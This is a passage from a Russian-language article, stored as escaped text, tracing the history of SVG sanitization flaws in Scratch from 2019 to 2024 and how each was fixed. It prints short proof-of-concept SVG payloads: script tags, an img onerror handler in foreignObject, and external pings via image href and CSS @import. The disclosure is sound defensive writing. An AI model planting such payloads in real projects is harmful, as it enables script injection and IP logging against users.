\u0435\u0441\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u043d\u0430\u043f\u0430\u0434\u0430\u044e\u0449\u0438\u043c\u0438) \u043a\u043e\u043d\u0442\u0435\u043d\u0442 \u0432 \u044d\u043b\u0435\u043c\u0435\u043d\u0442 &lt;svg&gt;\u00a0\u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0435\u0433\u043e \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0434\u043b\u044f \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u044e\u0449\u0435\u0433\u043e \u043f\u0440\u044f\u043c\u043e\u0443\u0433\u043e\u043b\u044c\u043d\u0438\u043a\u0430 SVG \u0431\u043e\u043b\u0435\u0435 \u043d\u0430\u0434\u0451\u0436\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0447\u0435\u043c viewbox \u0438\u043b\u0438 width\/height).\u0414\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 SVG \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0435 \u043e\u0447\u0435\u043d\u044c \u043d\u0435\u0434\u043e\u043b\u0433\u043e, \u044d\u0442\u043e \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u0430\u044f \u043f\u043e \u0441\u0432\u043e\u0435\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0414\u043b\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0437\u0430\u0449\u0438\u0442\u044b Scratch \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u044b\u0432\u0430\u043b \u0432\u0441\u0451 \u0431\u043e\u043b\u0435\u0435 \u0441\u043b\u043e\u0436\u043d\u0443\u044e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u043f\u0430\u0440\u0441\u0438\u043d\u0433\u0430 SVG \u0438 \u043d\u0430\u0445\u043e\u0434\u044f\u0449\u0435\u0439\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u0440\u0430\u0437\u043c\u0435\u0442\u043a\u0438, \u0447\u0442\u043e\u0431\u044b \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c \u043e\u043f\u0430\u0441\u043d\u044b\u0435 \u0447\u0430\u0441\u0442\u0438.\u042f \u0441\u0447\u0438\u0442\u0430\u044e, \u0447\u0442\u043e \u043f\u043e\u0434\u0445\u043e\u0434 Scratch \u043a \u0441\u0430\u043d\u0430\u0446\u0438\u0438 SVG \u043e\u0431\u0440\u0435\u0447\u0451\u043d \u043d\u0430 \u043f\u0440\u043e\u0432\u0430\u043b. \u0427\u0442\u043e\u0431\u044b \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u0442\u044c \u044d\u0442\u043e, \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0441\u043e\u0432\u0435\u0440\u0448\u0438\u0442\u044c \u043f\u0443\u0442\u0435\u0448\u0435\u0441\u0442\u0432\u0438\u0435 \u043f\u043e \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0441\u0430\u043d\u0430\u0446\u0438\u0438 SVG \u0432 Scratch \u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c, \u043d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0445\u043e\u0440\u043e\u0448\u043e \u043e\u043d \u0441 \u044d\u0442\u0438\u043c \u0441\u043f\u0440\u0430\u0432\u043b\u044f\u043b\u0441\u044f.2019 \u0433\u043e\u0434: XSS \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0442\u044d\u0433\u0430 &lt;script&gt;\u0412 2019 \u0433\u043e\u0434\u0443, \u0441\u043f\u0443\u0441\u0442\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u0435\u0441\u044f\u0446\u0435\u0432 \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u043f\u0443\u0441\u043a\u0430 Scratch 3, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 Scratch \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438, \u0447\u0442\u043e SVG \u043c\u043e\u0433\u0443\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0442\u044d\u0433\u0438 &lt;script&gt;\u00a0, \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 SVG \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 Scratch. \u0422\u0430\u043a\u0430\u044f \u0430\u0442\u0430\u043a\u0430 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f XSS.\u0412 Scratch \u0430\u0442\u0430\u043a\u0430 XSS \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0430\u043f\u0430\u0434\u0430\u044e\u0449\u0435\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043e\u0442 \u043b\u0438\u0446\u0430 \u0442\u043e\u0433\u043e, \u043a\u0442\u043e \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442 \u0435\u0433\u043e \u043f\u0440\u043e\u0435\u043a\u0442. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043d\u0430\u043f\u0430\u0434\u0430\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u0442\u044c \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438, \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u043f\u0440\u043e\u0435\u043a\u0442\u044b \u0438\u043b\u0438 \u043f\u044b\u0442\u0430\u0442\u044c\u0441\u044f \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u0430\u043a\u043a\u0430\u0443\u043d\u0442 \u0436\u0435\u0440\u0442\u0432\u044b \u0438\u043d\u044b\u043c\u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u0430\u043c\u0438. \u0412 Scratch Desktop XSS \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u0442 \u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e Scratch Desktop \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u043e\u043f\u0430\u0441\u043d\u0443\u044e \u0444\u0438\u0447\u0443 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0438 Node.js Electron. (\u0412 TurboWarp Desktop \u044d\u0442\u0430 \u0444\u0438\u0447\u0430 \u043d\u0435 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u0441 v0.2.0 \u043e\u0442 \u043c\u0430\u0440\u0442\u0430 2021 \u0433\u043e\u0434\u0430)\u041f\u0440\u0438\u043c\u0435\u0440 \u0438\u0437 \u043d\u0430\u0431\u043e\u0440\u0430 \u0442\u0435\u0441\u0442\u043e\u0432 Scratch:&lt;!DOCTYPE svg PUBLIC &#171;-\/\/W3C\/\/DTD SVG 1.1\/\/EN&#187;  &#171;http:\/\/www.w3.org\/Graphics\/SVG\/1.1\/DTD\/svg11.dtd&#187;&gt;&lt;svg version=&#187;1.1&#8243; xmlns=&#187;http:\/\/www.w3.org\/2000\/svg&#187;&gt;  &lt;circle cx=&#187;250&#8243; cy=&#187;250&#8243; r=&#187;50&#8243; fill=&#187;red&#187; \/&gt;  &lt;script type=&#187;text\/javascript&#187;&gt;&lt;![CDATA[      alert(&#8216;from the svg!&#8217;)  ]]&gt;&lt;\/script&gt;&lt;\/svg&gt;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e\u0433\u043e \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u044f, \u0443\u0434\u0430\u043b\u044f\u044e\u0449\u0435\u0433\u043e \u0442\u044d\u0433\u0438 script.\u0427\u0442\u043e \u0436, \u0442\u0435\u043f\u0435\u0440\u044c \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u044d\u0442\u043e\u043c\u0443 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044e SVG \u043d\u0430\u0432\u0435\u0440\u043d\u044f\u043a\u0430 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b \u0438 \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439.2020 \u0433\u043e\u0434: XSS \u0438\u0437-\u0437\u0430 \u043e\u0448\u0438\u0431\u043e\u043a \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u043c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 (CVE-2020-7750)\u0412 2020 \u0433\u043e\u0434\u0443\u00a0apple502j \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b, \u0447\u0442\u043e XSS \u0432\u0441\u0451 \u0435\u0449\u0451 \u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d. \u041e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u043e \u043f\u043e\u043b\u043e\u043c\u0430\u043d\u043d\u043e\u0435 \u0438 \u0435\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u043e\u0431\u043e\u0439\u0442\u0438, \u043d\u0430\u043f\u0438\u0441\u0430\u0432 &lt;SCRIPT&gt;\u00a0\u0437\u0430\u0433\u043b\u0430\u0432\u043d\u044b\u043c\u0438 \u0431\u0443\u043a\u0432\u0430\u043c\u0438, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e\u0435 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u043b\u043e \u0440\u0435\u0433\u0438\u0441\u0442\u0440; \u0431\u044b\u043b\u043e \u0438 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0434\u0440\u0443\u0433\u0438\u0445 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u043e\u0431\u0445\u043e\u0434\u0430. \u0414\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u0431\u044b \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e\u0435 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043b\u0438 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e, \u044d\u0442\u043e \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u0431\u044b \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442 \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u043d\u0438\u044f JavaScript \u0432 SVG. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0441\u043e\u0431\u044b\u0442\u0438\u0439:&lt;svg version=&#187;1.1&#8243; xmlns=&#187;http:\/\/www.w3.org\/2000\/svg&#187; xmlns:xlink=&#187;http:\/\/www.w3.org\/1999\/xlink&#187;&gt;    &lt;foreignObject x=&#187;1&#8243; y=&#187;1&#8243; width=&#187;1&#8243; height=&#187;1&#8243;&gt;        &lt;img            xmlns=&#187;http:\/\/www.w3.org\/1999\/xhtml&#187;            src=&#187;data:any invalid URL&#187;            onerror=&#187;alert(1)&#187;        \/&gt;    &lt;\/foreignObject&gt;&lt;\/svg&gt;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 DOMPurify, \u0443\u0434\u0430\u043b\u044f\u044e\u0449\u0435\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0438\u0437 SVG \u043f\u0435\u0440\u0435\u0434 \u0442\u0435\u043c, \u043a\u0430\u043a scratch-svg-renderer\u00a0\u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0438\u0445 \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442.\u0427\u0442\u043e \u0436, \u0442\u0435\u043f\u0435\u0440\u044c \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u044d\u0442\u043e\u043c\u0443 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044e SVG \u043d\u0430\u0432\u0435\u0440\u043d\u044f\u043a\u0430 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b \u0438 \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439.2022 \u0433\u043e\u0434: HTTP-\u0443\u0442\u0435\u0447\u043a\u0430 \u0447\u0435\u0440\u0435\u0437 href &lt;image&gt;\u0412 2022 \u0433\u043e\u0434\u0443 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 href\u00a0\u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0430 &lt;image&gt;\u00a0\u043d\u0430\u043f\u0430\u0434\u0430\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u0442\u044c SVG, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0437\u0430\u043f\u0440\u043e\u0441. \u041e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0445\u043e\u0442\u044c DOMPurify \u0438 \u0443\u0434\u0430\u043b\u044f\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u0434, \u043e\u043d \u043d\u0435 \u0437\u0430\u0449\u0438\u0449\u0430\u0435\u0442 \u043e\u0442 HTTP-\u0443\u0442\u0435\u0447\u0435\u043a, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u00ab\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u043c\u043d\u043e\u0433\u043e \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u0435\u0451 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u043d\u0430\u0448\u0438 \u0442\u0435\u0441\u0442\u044b \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u043d\u0435\u0451 \u043d\u0435\u043b\u044c\u0437\u044f \u0437\u0430\u0449\u0438\u0442\u0438\u0442\u044c\u0441\u044f \u043d\u0430\u0434\u0451\u0436\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c\u00bb.\u0414\u043b\u044f Scratch HTTP-\u0443\u0442\u0435\u0447\u043a\u0430 \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c Scratch \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c IP-\u0430\u0434\u0440\u0435\u0441 \u043b\u044e\u0431\u043e\u0433\u043e, \u043a\u0442\u043e \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0435\u0433\u043e \u043f\u0440\u043e\u0435\u043a\u0442, \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044f \u0442\u0430\u043a\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e, \u043a\u0430\u043a \u043c\u0435\u0441\u0442\u043e\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u0448\u043a\u043e\u043b\u044c\u043d\u044b\u0439 \u043e\u043a\u0440\u0443\u0433. \u0416\u0435\u0440\u0442\u0432\u0435 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u043d\u0430\u0436\u0438\u043c\u0430\u0442\u044c \u043d\u0438 \u043d\u0430 \u043a\u0430\u043a\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438; \u043b\u043e\u0433\u0433\u0438\u043d\u0433 IP-\u0430\u0434\u0440\u0435\u0441\u0430 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u043f\u0440\u043e\u0435\u043a\u0442\u0430. \u041f\u043e\u0445\u043e\u0436\u0435, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 Scratch \u043f\u043e\u0441\u0447\u0438\u0442\u0430\u043b\u0438 \u044d\u0442\u043e \u0431\u0430\u0433\u043e\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438 \u044f \u0441\u043e\u0433\u043b\u0430\u0441\u0435\u043d \u0441 \u043d\u0438\u043c\u0438.\u041f\u0440\u0438\u043c\u0435\u0440:&lt;svg xmlns=&#187;http:\/\/www.w3.org\/2000\/svg&#187; xmlns:xlink=&#187;http:\/\/www.w3.org\/1999\/xlink&#187;&gt;  &lt;image xlink:href=&#187;https:\/\/example.com\/ping&#187;\/&gt;&lt;\/svg&gt;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 \u0440\u0435\u0448\u0435\u043d\u0430\u00a0\u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0445\u0443\u043a\u043e\u0432 DOMPurify \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0439\u0441\u0442\u0432 href\u00a0\u0438\u0437 \u0432\u0441\u0435\u0445 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u043e\u0432, \u0435\u0441\u043b\u0438 URL \u0441\u0441\u044b\u043b\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0439 \u0441\u0430\u0439\u0442.\u0427\u0442\u043e \u0436, \u0442\u0435\u043f\u0435\u0440\u044c \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u044d\u0442\u043e\u043c\u0443 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044e SVG \u043d\u0430\u0432\u0435\u0440\u043d\u044f\u043a\u0430 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b \u0438 \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439.2023 \u0433\u043e\u0434: HTTP-\u0443\u0442\u0435\u0447\u043a\u0430 \u0447\u0435\u0440\u0435\u0437 @import CSS\u0412 2023 \u0433\u043e\u0434\u0443 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 @import\u00a0CSS\u00a0\u0432\u043d\u0443\u0442\u0440\u0438 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0430 &lt;style&gt;\u00a0\u043d\u0430\u043f\u0430\u0434\u0430\u044e\u0449\u0438\u0439 \u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043f\u0440\u043e\u0435\u043a\u0442, \u0441\u043e\u0437\u0434\u0430\u044e\u0449\u0438\u0439 \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043f\u0440\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0435 \u043f\u0440\u043e\u0435\u043a\u0442\u0430. \u041f\u0440\u0438\u043c\u0435\u0440:&lt;svg xmlns=&#187;http:\/\/www.w3.org\/2000\/svg&#187;&gt;  &lt;style&gt;    @import url(&#171;https:\/\/example.com\/ping&#187;);  &lt;\/style&gt;&lt;\/svg&gt;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 \u0440\u0435\u0448\u0435\u043d\u0430\u00a0\u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0435\u0439 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0433\u043e \u043d\u0430 JavaScript \u043f\u0430\u0440\u0441\u0435\u0440\u0430 CSS, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u0434\u0430\u043b\u044f\u0435\u0442 \u043e\u043f\u0430\u0441\u043d\u044b\u0435 \u0447\u0430\u0441\u0442\u0438 CSS. \u041e\u043d \u043f\u0430\u0440\u0441\u0438\u0442 \u0432\u0441\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0435\u0441\u044f \u0432 SVG \u0442\u0430\u0431\u043b\u0438\u0446\u044b \u0441\u0442\u0438\u043b\u0435\u0439, \u0443\u0434\u0430\u043b\u044f\u0435\u0442 \u0432\u0441\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 @import, \u0438 \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0432\u043d\u0435\u0441\u0435\u043d\u0438\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u0443\u0435\u0442 CSS \u043e\u0431\u0440\u0430\u0442\u043d\u043e \u0432 \u0441\u0442\u0440\u043e\u043a\u0443.\u0427\u0442\u043e \u0436, \u0442\u0435\u043f\u0435\u0440\u044c \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u044d\u0442\u043e\u043c\u0443 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044e SVG \u043d\u0430\u0432\u0435\u0440\u043d\u044f\u043a\u0430 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u044b \u0438 \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439.2024 \u0433\u043e\u0434: XSS \u0447\u0435\u0440\u0435\u0437 Paper.js\u0412 2024 \u0433\u043e\u0434\u0443 \u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b XSS\u00a0\u0432 Paper.js \u2014 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435, \u043a\u043e\u0442\u043e\u0440\u0443\u044e Scratch \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u043a\u043e\u0441\u0442\u044e\u043c\u043e\u0432. \u041e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0445\u043e\u0442\u044f Scratch \u0441\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043b SVG \u043f\u0435\u0440\u0435\u0434 \u0440\u0430\u0431\u043e\u0442\u043e\u0439 \u0441 \u043d\u0438\u043c\u0438 \u0432 scratch-svg-renderer, Paper.js \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u043b\u0438\u0441\u044c \u043d\u0435\u0441\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 SVG. \u0412 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u044d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u043b\u0430 \u0442\u0430\u043a\u0443\u044e \u0436\u0435 \u0443\u0433\u0440\u043e\u0437\u0443, \u043a\u0430\u043a XSS scratch-svg-renderer, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0435 \u0432 2020 \u0433\u043e\u0434\u0443, \u043d\u043e \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u043b\u0430 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0430 \u043a\u043e\u0441\u0442\u044e\u043c\u043e\u0432, \u0430 \u043d\u0435 \u043f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u0430. \u041f\u0440\u0438\u043c\u0435\u0440:&lt;svg version=&#187;1.1&#8243; xmlns=&#187;http:\/\/www.w3.org\/2000\/svg&#187; xmlns:xlink=&#187;http:\/\/www.w3.org\/1999\/xlink&#187; data-paper-data=&#187;any invalid JSON&#187;&gt;    &lt;foreignObject x=&#187;1&#8243; y=&#187;1&#8243; width=&#187;1&#8243; height=&#187;1&#8243;&gt;        &lt;img            xmlns=&#187;http:\/\/www.w3.org\/1999\/xhtml&#187;            src=&#187;data:any invalid URL&#187;            onerror=&#187;alert(1)&#187;        \/&gt;    &lt;\/foreignObject&gt;&lt;\/svg&gt;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0431\u044b\u043b\u0430 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0440\u0435\u0448\u0435\u043d\u0430\u00a0\u0437\u0430 \u043e\u0447\u0435\u043d\u044c \u0434\u043e\u043b\u0433\u0438\u0439 \u043f\u0435\u0440\u0438\u043e\u0434 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430 